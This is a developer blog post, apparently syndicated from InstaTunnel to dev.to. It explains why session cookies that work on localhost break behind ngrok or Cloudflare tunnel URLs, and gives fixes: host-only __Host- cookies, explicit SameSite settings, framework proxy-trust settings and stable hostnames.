&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/stripe-thin-events-on-localhost-when-the-cli-is-enough-and-when-you-need-a-stable-public-url" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/stripe-thin-events-on-localhost-when-the-cli-is-enough-and-when-you-need-a-stable-public-url&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>networking</category>
    </item>
    <item>
      <title>Cookies on Tunnel Domains: Why Login Works on localhost but Breaks on a Tunnel URL</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Thu, 29 Oct 2026 01:41:21 +0000</pubDate>
      <link>https://dev.to/instatunnel/cookies-on-tunnel-domains-why-login-works-on-localhost-but-breaks-on-a-tunnel-url-37k4</link>
      <guid>https://dev.to/instatunnel/cookies-on-tunnel-domains-why-login-works-on-localhost-but-breaks-on-a-tunnel-url-37k4</guid>
      <description>&lt;p&gt;You build a login flow, test it on &lt;code&gt;localhost:3000&lt;/code&gt;, and it works. Then you expose the app through a tunnel to demo it, test OAuth, or open it on a phone. The login form submits, the server returns 200, and you land back on the sign-in page. There is no error and no stack trace, just a session that never sticks.&lt;/p&gt;

&lt;p&gt;This is almost always a cookie problem. Browsers give &lt;code&gt;localhost&lt;/code&gt; special treatment, and a public tunnel URL is a different security context. This guide explains what changes, which browser rules are responsible (the Public Suffix List, &lt;code&gt;SameSite&lt;/code&gt;, &lt;code&gt;Secure&lt;/code&gt;), and how to fix it so the setup holds up in development and production.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Domain scope:&lt;/strong&gt; A &lt;code&gt;Domain=&lt;/code&gt; attribute that works on &lt;code&gt;localhost&lt;/code&gt; is rejected when the tunnel host sits under a public suffix.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Site boundaries:&lt;/strong&gt; Two tunnel URLs from the same provider are usually &lt;em&gt;cross-site&lt;/em&gt;, even though they share a parent domain.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SameSite:&lt;/strong&gt; Chromium-based browsers treat cookies without a &lt;code&gt;SameSite&lt;/code&gt; attribute as &lt;code&gt;Lax&lt;/code&gt;, so cross-site subrequests lose them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secure:&lt;/strong&gt; Tunnels terminate HTTPS at the edge, but your app often sees plain HTTP. Frameworks that check the request scheme may then skip &lt;code&gt;Secure&lt;/code&gt; cookies unless they trust the proxy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix:&lt;/strong&gt; Host-only cookies, &lt;code&gt;__Host-&lt;/code&gt; prefixes, one stable hostname, and correct proxy settings.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why localhost behaves differently
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;localhost&lt;/code&gt; is forgiving by design. Three behaviors make local login flows work that would fail on a real domain.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Secure cookies over HTTP.&lt;/strong&gt; Browsers normally refuse a &lt;code&gt;Secure&lt;/code&gt; cookie set from an &lt;code&gt;http:&lt;/code&gt; page. MDN documents that this HTTPS requirement is ignored for &lt;code&gt;localhost&lt;/code&gt; since Chrome 89 and Firefox 75. Safari is the outlier. It still rejects &lt;code&gt;Secure&lt;/code&gt; cookies from plain-HTTP &lt;code&gt;localhost&lt;/code&gt;, and WebKit bug 232088 tracks the problem. As of the latest activity on that bug (April 2026), a WebKit change toward supporting &lt;code&gt;Secure&lt;/code&gt; cookies on loopback hostnames has landed. Its author notes it does not work on its own until the underlying cookie storage also accepts them, so don’t assume your Safari version is fixed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No public suffix involved.&lt;/strong&gt; &lt;code&gt;localhost&lt;/code&gt; is a single-label host, so there is no registrable domain and no shared parent for a cookie to leak into.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Everything is same-site.&lt;/strong&gt; A frontend on &lt;code&gt;localhost:3000&lt;/code&gt; and an API on &lt;code&gt;localhost:8080&lt;/code&gt; share a site, because ports are ignored.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A tunnel URL such as &lt;code&gt;https://abc123.some-provider.app&lt;/code&gt; removes all three safety nets at once. You get a real hostname, a real parent domain, and an HTTPS connection with a proxy in the middle.&lt;/p&gt;

&lt;h2&gt;
  
  
  Site vs. origin, and why the Public Suffix List matters
&lt;/h2&gt;

&lt;p&gt;An &lt;strong&gt;origin&lt;/strong&gt; is scheme + hostname + port. A &lt;strong&gt;site&lt;/strong&gt; is scheme + the &lt;em&gt;registrable domain&lt;/em&gt; (eTLD+1). Per web.dev, two URLs are same-site when they share a scheme and eTLD+1, and cross-site when either differs. Subdomains and ports don’t matter. Because the scheme is part of the site, &lt;code&gt;http://localhost:3000&lt;/code&gt; and an &lt;code&gt;https://&lt;/code&gt; tunnel URL are never same-site.&lt;/p&gt;

&lt;p&gt;Nothing in a domain name says where the registrable domain starts. For &lt;code&gt;example.com&lt;/code&gt; it’s obvious. For &lt;code&gt;example.co.uk&lt;/code&gt; or &lt;code&gt;yourname.github.io&lt;/code&gt; it isn’t. That is what the &lt;strong&gt;Public Suffix List (PSL)&lt;/strong&gt; is for. It is a community-maintained list of suffixes under which the public can register names, such as &lt;code&gt;com&lt;/code&gt;, &lt;code&gt;co.uk&lt;/code&gt; and &lt;code&gt;pvt.k12.ma.us&lt;/code&gt;. Browsers use it to decide where cookies may and may not be set, which stops one site from planting cookies that are read across unrelated sites.&lt;/p&gt;

&lt;p&gt;Heroku’s documentation shows the practical effect. Because &lt;code&gt;herokuapp.com&lt;/code&gt; is on the list, apps there can’t set cookies for all of &lt;code&gt;*.herokuapp.com&lt;/code&gt;. Heroku decided that losing cookie sharing across apps was a fair price for closing a session-fixation and cookie-hijacking hole.&lt;/p&gt;

&lt;p&gt;Tunnel providers face the same problem. Many users get subdomains of one parent, and without PSL protection one user’s page could set cookies that every other user’s tunnel receives. So providers register their domains.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider&lt;/th&gt;
&lt;th&gt;Hostname pattern&lt;/th&gt;
&lt;th&gt;On the PSL?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ngrok (paid)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;*.ngrok.app&lt;/code&gt;, &lt;code&gt;*.ngrok.dev&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Yes, per ngrok’s docs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ngrok (free)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;*.ngrok-free.app&lt;/code&gt;, &lt;code&gt;*.ngrok-free.dev&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Yes, per ngrok’s docs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ngrok (legacy)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*.ngrok.io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Yes; ngrok lists it as discontinued and available only to legacy accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare quick tunnels&lt;/td&gt;
&lt;td&gt;random &lt;code&gt;*.trycloudflare.com&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Yes (private section) according to developers who checked the list; the &lt;code&gt;ruby_native&lt;/code&gt; gem also documents that browsers reject cookies scoped to it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare named tunnels&lt;/td&gt;
&lt;td&gt;a hostname on &lt;em&gt;your&lt;/em&gt; zone&lt;/td&gt;
&lt;td&gt;Not a shared suffix; it is your own domain&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;ngrok states that its managed base domains are on the Public Suffix List so that cookies from one subdomain cannot be accessed by another. The additions of &lt;code&gt;ngrok.app&lt;/code&gt;, &lt;code&gt;ngrok-free.app&lt;/code&gt;, &lt;code&gt;ngrok.dev&lt;/code&gt;, &lt;code&gt;ngrok-free.dev&lt;/code&gt; and &lt;code&gt;ngrok.pizza&lt;/code&gt; appear in a 2023 PSL release. ngrok’s docs currently mark &lt;code&gt;ngrok-free.pizza&lt;/code&gt; as “coming soon” and not yet on the list. Check the current list yourself rather than assuming, because providers add domains over time.&lt;/p&gt;

&lt;p&gt;The consequence is easy to miss. &lt;code&gt;a.ngrok-free.app&lt;/code&gt; and &lt;code&gt;b.ngrok-free.app&lt;/code&gt; look like siblings, but each is its own registrable domain. They are &lt;strong&gt;cross-site&lt;/strong&gt; to each other, and cookies can’t be shared between them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure #1: The Domain attribute
&lt;/h2&gt;

&lt;p&gt;On &lt;code&gt;localhost&lt;/code&gt;, many frameworks set a session cookie with a broad &lt;code&gt;Domain&lt;/code&gt;, or compute one automatically. Through a tunnel, that computed value can resolve to the public suffix itself.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;ruby_native&lt;/code&gt; gem documents this for Rails. Apps configured with &lt;code&gt;domain: :all, tld_length: 2&lt;/code&gt; resolve to &lt;code&gt;.trycloudflare.com&lt;/code&gt; behind a quick tunnel, and browsers and WKWebView then silently reject the cookies, which breaks authentication. The gem’s workaround is a middleware that strips the &lt;code&gt;domain=&lt;/code&gt; attribute so the cookie scopes to the exact tunnel hostname.&lt;/p&gt;

&lt;p&gt;That’s good general advice. Omitting &lt;code&gt;Domain&lt;/code&gt; produces a &lt;strong&gt;host-only&lt;/strong&gt; cookie, sent only to that exact host and not its subdomains. It also limits the damage if a sibling subdomain is compromised.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Rejected: Domain is a public suffix
Set-Cookie: session=abc123; Domain=.ngrok-free.app; Path=/; Secure; HttpOnly

# Works: host-only, no Domain attribute
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Don’t hardcode &lt;code&gt;localhost&lt;/code&gt; or guess the domain from a TLD length. Read it from an environment variable and leave it unset in development.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure #2: SameSite and cross-site requests
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SameSite&lt;/code&gt; controls whether a cookie is sent on cross-site requests. The values are &lt;code&gt;Strict&lt;/code&gt;, &lt;code&gt;Lax&lt;/code&gt; and &lt;code&gt;None&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;With the Chrome 80 release in February 2020, Chromium began treating cookies without a &lt;code&gt;SameSite&lt;/code&gt; attribute as &lt;code&gt;Lax&lt;/code&gt;. Cookies meant for cross-site contexts must specify &lt;code&gt;SameSite=None; Secure&lt;/code&gt;, which also means they only work over HTTPS. Not every browser follows this default. The Chromium FAQ notes that Chrome on iOS uses WebKit and does not enforce the new defaults. That matters if you test a tunnel on an iPhone, because behavior can differ from desktop Chrome. Because defaults vary, &lt;strong&gt;set &lt;code&gt;SameSite&lt;/code&gt; explicitly on every cookie.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Chromium also ships a temporary exception, called the Lax + POST mitigation. A cookie that is at most two minutes old is still sent on a top-level cross-site POST if it relied on the implicit default. The Chromium FAQ calls this a temporary solution that will be removed in the future. An explicit &lt;code&gt;SameSite=Lax&lt;/code&gt; gets no grace period, so don’t build on it.&lt;/p&gt;

&lt;p&gt;Where does this bite on a tunnel?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Split frontend and backend.&lt;/strong&gt; If your frontend and API run on two tunnel URLs under a public suffix, they are cross-site. A &lt;code&gt;Lax&lt;/code&gt; session cookie won’t be attached to &lt;code&gt;fetch&lt;/code&gt; calls between them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OAuth and SSO redirects.&lt;/strong&gt; A top-level GET back to your callback carries &lt;code&gt;Lax&lt;/code&gt; cookies. A cross-site POST callback (some SAML and form-post flows) does not, apart from the two-minute exception above.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Embedded pages.&lt;/strong&gt; An app in an iframe on another tunnel URL is a third-party context and loses &lt;code&gt;Lax&lt;/code&gt; and &lt;code&gt;Strict&lt;/code&gt; cookies.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The cleanest fix is to avoid the cross-site setup. Serve the frontend and API behind one tunnel hostname and route by path (&lt;code&gt;/api/*&lt;/code&gt;), so everything is same-origin.&lt;/p&gt;

&lt;p&gt;If you truly need cross-site cookies, use &lt;code&gt;SameSite=None; Secure&lt;/code&gt;. Chromium-based browsers reject &lt;code&gt;SameSite=None&lt;/code&gt; cookies that omit &lt;code&gt;Secure&lt;/code&gt;. Even then, don’t count on it everywhere. WebKit announced on March 24, 2020 that Safari would block all third-party cookies by default, and Firefox partitions third-party cookies in its Strict tracking-protection mode and in private browsing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure #3: Secure cookies behind a TLS-terminating proxy
&lt;/h2&gt;

&lt;p&gt;A tunnel gives your local app a public HTTPS address, but the encryption ends at the provider’s edge. Your local server typically receives plain HTTP.&lt;/p&gt;

&lt;p&gt;Some session libraries refuse to set a &lt;code&gt;Secure&lt;/code&gt; cookie when they believe the connection is insecure. &lt;code&gt;express-session&lt;/code&gt; with &lt;code&gt;cookie.secure: true&lt;/code&gt; is a well-known example. Locally you never notice, because &lt;code&gt;localhost&lt;/code&gt; is exempt in Chrome and Firefox. Behind a tunnel, the cookie is silently never set. Django is similar: if it misjudges the scheme, POST requests can fail its CSRF origin check, a failure that proxy-hosted Django users have reported.&lt;/p&gt;

&lt;p&gt;Tell your app to trust the forwarded protocol header (&lt;code&gt;X-Forwarded-Proto&lt;/code&gt;) from the tunnel.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Express:&lt;/strong&gt; &lt;code&gt;app.set('trust proxy', 1)&lt;/code&gt;. Once trust is enabled, &lt;code&gt;req.protocol&lt;/code&gt; reflects &lt;code&gt;X-Forwarded-Proto&lt;/code&gt;, and &lt;code&gt;req.secure&lt;/code&gt; follows it. A number means “trust this many hops from the front-facing proxy”, so adjust it to your actual topology. If you use &lt;code&gt;true&lt;/code&gt;, the last trusted proxy must overwrite &lt;code&gt;X-Forwarded-For&lt;/code&gt;, &lt;code&gt;X-Forwarded-Host&lt;/code&gt; and &lt;code&gt;X-Forwarded-Proto&lt;/code&gt;, or a client can supply any value.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Django:&lt;/strong&gt; &lt;code&gt;SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')&lt;/code&gt;. Django’s docs warn that this can compromise security if misconfigured. Your proxy must strip the header from incoming requests and set it only for requests that arrived over HTTPS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rails:&lt;/strong&gt; allow the tunnel host. Rails reads extra development hosts from the &lt;code&gt;RAILS_DEVELOPMENT_HOSTS&lt;/code&gt; environment variable (Spree’s docs suggest &lt;code&gt;RAILS_DEVELOPMENT_HOSTS=.trycloudflare.com&lt;/code&gt; for quick tunnels), or you can add the host to &lt;code&gt;config.hosts&lt;/code&gt;. Rails also has &lt;code&gt;config.assume_ssl&lt;/code&gt; for apps behind a TLS-terminating proxy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vite:&lt;/strong&gt; Cloudflare’s docs say to add &lt;code&gt;.trycloudflare.com&lt;/code&gt; to &lt;code&gt;preview.allowedHosts&lt;/code&gt; for quick tunnels and your own domain suffix for named tunnels. &lt;code&gt;vite dev&lt;/code&gt; has an equivalent allowed-hosts setting on the dev server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Only trust forwarding headers from a proxy you control. In production, restrict trust to known proxy addresses.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardening: cookie prefixes and cookie tossing
&lt;/h2&gt;

&lt;p&gt;While you’re fixing attributes, adopt prefixes so the browser enforces your intent.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;__Secure-&lt;/code&gt; requires the &lt;code&gt;Secure&lt;/code&gt; attribute and a secure origin.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;__Host-&lt;/code&gt; additionally requires &lt;code&gt;Path=/&lt;/code&gt; and forbids &lt;code&gt;Domain&lt;/code&gt;, binding the cookie to exactly one host.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: __Host-session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This matters because a subdomain can normally set a cookie for its parent domain, a technique called cookie tossing. &lt;code&gt;__Host-&lt;/code&gt; closes that door, and a host-only cookie is exactly what a single tunnel hostname needs.&lt;/p&gt;

&lt;p&gt;If you need one session across several subdomains of a domain &lt;em&gt;you own&lt;/em&gt;, &lt;code&gt;__Host-&lt;/code&gt; is too restrictive because it forbids &lt;code&gt;Domain&lt;/code&gt;. Use &lt;code&gt;__Secure-&lt;/code&gt; with an explicit &lt;code&gt;Domain&lt;/code&gt; instead. That only makes sense when the parent is your own domain, never a shared public suffix.&lt;/p&gt;

&lt;p&gt;One development caveat is that Safari’s &lt;code&gt;Secure&lt;/code&gt;-on-localhost problem also affects prefixed cookies. Safari discards &lt;code&gt;__Host-&lt;/code&gt; and &lt;code&gt;__Secure-&lt;/code&gt; cookies on &lt;code&gt;http://localhost&lt;/code&gt; because they require the &lt;code&gt;Secure&lt;/code&gt; flag. A common workaround is to set &lt;code&gt;Secure&lt;/code&gt; only when the request isn’t plain-HTTP localhost, or to test through the HTTPS tunnel.&lt;/p&gt;

&lt;h2&gt;
  
  
  Embedded scenarios: CHIPS
&lt;/h2&gt;

&lt;p&gt;If your app is embedded (a chat widget, a payment frame, a preview inside another page), look at &lt;strong&gt;CHIPS&lt;/strong&gt;, Cookies Having Independent Partitioned State. The &lt;code&gt;Partitioned&lt;/code&gt; attribute stores a cross-site cookie in a jar keyed to the top-level site. Partitioned cookies must be &lt;code&gt;Secure&lt;/code&gt;, and MDN recommends pairing them with &lt;code&gt;SameSite=None&lt;/code&gt; and the &lt;code&gt;__Host-&lt;/code&gt; prefix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: __Host-widget=34d8g; SameSite=None; Secure; Path=/; Partitioned
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Google’s CHIPS documentation lists support starting in Chrome 114, Firefox 141 and Safari 26.2. Test on your target browser versions, because partitioned-cookie behavior is still maturing. A WebKit bug filed in January 2026 reports Safari dropping partitioned cookies after a multi-hop cross-site redirect chain.&lt;/p&gt;

&lt;p&gt;On the wider picture, Google confirmed in April 2025 that Chrome would keep its current approach to third-party cookie choice instead of blocking them by default. In October 2025 it retired most Privacy Sandbox APIs, while continuing to support CHIPS, FedCM and Private State Tokens. Safari still blocks third-party cookies by default. The practical rule is to design for the strictest browser and treat unpartitioned &lt;code&gt;SameSite=None&lt;/code&gt; cookies as unreliable. For federated sign-in flows, FedCM is the retained API worth evaluating.&lt;/p&gt;

&lt;h2&gt;
  
  
  A debugging checklist
&lt;/h2&gt;

&lt;p&gt;When login works locally and fails through a tunnel, go in this order.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Network tab:&lt;/strong&gt; inspect the login response’s &lt;code&gt;Set-Cookie&lt;/code&gt;. Chrome’s DevTools warn about cookies affected by &lt;code&gt;SameSite&lt;/code&gt; rules and show attributes for each request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Application → Cookies:&lt;/strong&gt; is the cookie stored at all? If not, the browser rejected it (bad &lt;code&gt;Domain&lt;/code&gt;, &lt;code&gt;Secure&lt;/code&gt; over HTTP, or &lt;code&gt;SameSite=None&lt;/code&gt; without &lt;code&gt;Secure&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Next request:&lt;/strong&gt; stored but not sent usually means &lt;code&gt;SameSite&lt;/code&gt; and a cross-site request. Check the request’s &lt;code&gt;Sec-Fetch-Site&lt;/code&gt; header, which browsers send as &lt;code&gt;same-origin&lt;/code&gt;, &lt;code&gt;same-site&lt;/code&gt;, &lt;code&gt;cross-site&lt;/code&gt; or &lt;code&gt;none&lt;/code&gt; and which page scripts can’t modify. It is supported in Chrome 76+, Firefox 90+ and Safari 16.4+.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hostnames:&lt;/strong&gt; are the frontend, API and callback URLs all the same host?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Command line:&lt;/strong&gt; &lt;code&gt;curl -i https://your-tunnel-url/login&lt;/code&gt; shows the raw &lt;code&gt;Set-Cookie&lt;/code&gt; headers your app emits.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Redirects:&lt;/strong&gt; hardcoded &lt;code&gt;http://localhost:3000&lt;/code&gt; redirects send the browser back to localhost mid-flow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proxy trust:&lt;/strong&gt; confirm your framework sees HTTPS through &lt;code&gt;X-Forwarded-Proto&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser matrix:&lt;/strong&gt; repeat the test in Safari and in Chrome on iOS, since both use WebKit’s cookie rules.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Why stable URLs and custom subdomains solve most of this
&lt;/h2&gt;

&lt;p&gt;Random, ephemeral hostnames make this worse for a reason beyond the PSL: the origin changes every restart. Cookies are bound to host, so a new URL means an empty cookie jar and a logged-out session. OAuth providers also require exact redirect URIs, so a changing hostname forces constant re-registration.&lt;/p&gt;

&lt;p&gt;How much this affects you depends on the provider. Cloudflare quick tunnels assign a new random &lt;code&gt;*.trycloudflare.com&lt;/code&gt; hostname each time &lt;code&gt;cloudflared&lt;/code&gt; starts. ngrok gives every account a free dev domain, and on the free plan you can only use that automatically assigned domain for public endpoints. Paid plans let you choose names.&lt;/p&gt;

&lt;p&gt;A stable, reserved hostname fixes that whole class of problems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Consistent host-only cookies.&lt;/strong&gt; The same hostname across restarts keeps sessions alive and &lt;code&gt;__Host-&lt;/code&gt; cookies predictable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fixed OAuth redirect URIs.&lt;/strong&gt; Register &lt;code&gt;https://yourname.example-tunnel.app/auth/callback&lt;/code&gt; once and leave it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Predictable CORS and CSRF origins.&lt;/strong&gt; Allow-lists can name one host instead of a wildcard.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Single-hostname architecture.&lt;/strong&gt; Route frontend and API through one hostname and sidestep &lt;code&gt;SameSite&lt;/code&gt; entirely.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you need several subdomains sharing a session (say &lt;code&gt;app.&lt;/code&gt; and &lt;code&gt;api.&lt;/code&gt;), bring a domain you own. ngrok lets you use a custom domain you already own. Cloudflare named tunnels give you stable hostnames on your own zone. In Cloudflare’s docs, named tunnels are the stable option and quick tunnels the random one. A domain you control isn’t a public suffix, so &lt;code&gt;Domain=.yourdomain.com&lt;/code&gt; works as expected.&lt;/p&gt;

&lt;p&gt;Check whether your provider’s shared base domain is on the PSL. It cuts both ways. Membership protects you from other tenants’ cookies, but it also means sibling tunnels can’t share cookies. Treat that as a feature and design around it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layered authentication and cookies
&lt;/h3&gt;

&lt;p&gt;If a tunnel sits behind a password gate or access policy, you now have two authentication layers. HTTP Basic Auth sends credentials in the &lt;code&gt;Authorization&lt;/code&gt; header, which can collide with an app that expects its own bearer token in the same header, so test API calls explicitly. Once a visitor passes the gate, your app’s session cookie still has to satisfy every rule above. Test both layers together before sharing a link with a client. Cloudflare also advises that anyone with a tunnel URL can reach your dev server, so review ungated preview or admin endpoints before enabling one.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Why does my login work on localhost but not on my ngrok or Cloudflare URL?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Chrome and Firefox exempt &lt;code&gt;localhost&lt;/code&gt; from the HTTPS requirement for &lt;code&gt;Secure&lt;/code&gt; cookies, and &lt;code&gt;localhost&lt;/code&gt; has no shared parent domain. A tunnel URL has a real hostname under a public suffix, an HTTPS edge in front of an HTTP app, and cross-site boundaries between tunnels.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is &lt;code&gt;*.ngrok-free.app&lt;/code&gt; on the Public Suffix List?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Yes. ngrok states its managed base domains are on the list, which is why subdomains can’t read each other’s cookies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is &lt;code&gt;*.trycloudflare.com&lt;/code&gt; on the Public Suffix List?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Developers who checked the list report that it is, and the &lt;code&gt;ruby_native&lt;/code&gt; gem documents that browsers reject cookies scoped to it. Confirm against the current list at publicsuffix.org.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does &lt;code&gt;SameSite=Lax&lt;/code&gt; break cross-subdomain logins?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Only when the subdomains are cross-site. On your own domain, &lt;code&gt;app.example.com&lt;/code&gt; and &lt;code&gt;api.example.com&lt;/code&gt; are same-site, so &lt;code&gt;Lax&lt;/code&gt; cookies flow. Under a public suffix they are cross-site.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What’s the safest default cookie for a tunneled app?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;__Host-session=…; Path=/; Secure; HttpOnly; SameSite=Lax&lt;/code&gt;, served from one stable hostname.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why does it work in Chrome but fail in Safari on localhost?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Safari rejects &lt;code&gt;Secure&lt;/code&gt; cookies (and therefore &lt;code&gt;__Host-&lt;/code&gt; and &lt;code&gt;__Secure-&lt;/code&gt; cookies) from plain-HTTP &lt;code&gt;localhost&lt;/code&gt;, while Chrome and Firefox allow them. Test through the HTTPS tunnel or set &lt;code&gt;Secure&lt;/code&gt; conditionally in development.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;When login breaks on a tunnel, the tunnel is rarely at fault. The browser is applying real-world rules that &lt;code&gt;localhost&lt;/code&gt; quietly exempts you from: public suffix boundaries, &lt;code&gt;SameSite&lt;/code&gt; defaults and &lt;code&gt;Secure&lt;/code&gt; requirements. Use host-only &lt;code&gt;__Host-&lt;/code&gt; cookies, route everything through one stable hostname, make your framework trust the proxy’s HTTPS signal, and bring your own domain when sessions must span subdomains. Do that, and your tunnel URL will behave like production.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://publicsuffix.org/list/" rel="noopener noreferrer"&gt;Public Suffix List&lt;/a&gt; and &lt;a href="https://github.com/publicsuffix/list" rel="noopener noreferrer"&gt;GitHub repository&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://devcenter.heroku.com/articles/cookies-and-herokuapp-com" rel="noopener noreferrer"&gt;Cookies and the Public Suffix List (Heroku)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://ngrok.com/docs/gateway/domains" rel="noopener noreferrer"&gt;ngrok Domains docs&lt;/a&gt;, &lt;a href="https://ngrok.com/docs/network-edge/domains-and-tcp-addresses/" rel="noopener noreferrer"&gt;ngrok domains and TCP addresses&lt;/a&gt; and &lt;a href="https://ngrok.com/blog/public-suffix-list" rel="noopener noreferrer"&gt;ngrok’s PSL explainer&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://web.dev/articles/same-site-same-origin" rel="noopener noreferrer"&gt;Same-site and same-origin (web.dev)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.chromium.org/updates/same-site/faq/" rel="noopener noreferrer"&gt;SameSite FAQ (Chromium)&lt;/a&gt; and &lt;a href="https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html" rel="noopener noreferrer"&gt;SameSite cookie changes in February 2020 (Chromium Blog)&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie" rel="noopener noreferrer"&gt;Set-Cookie (MDN)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://flaviocopes.com/cookie-not-being-set-in-safari" rel="noopener noreferrer"&gt;Cookie not being set in Safari&lt;/a&gt; and &lt;a href="https://bugs.webkit.org/show_bug.cgi?id=232088" rel="noopener noreferrer"&gt;WebKit Bugzilla 232088&lt;/a&gt;
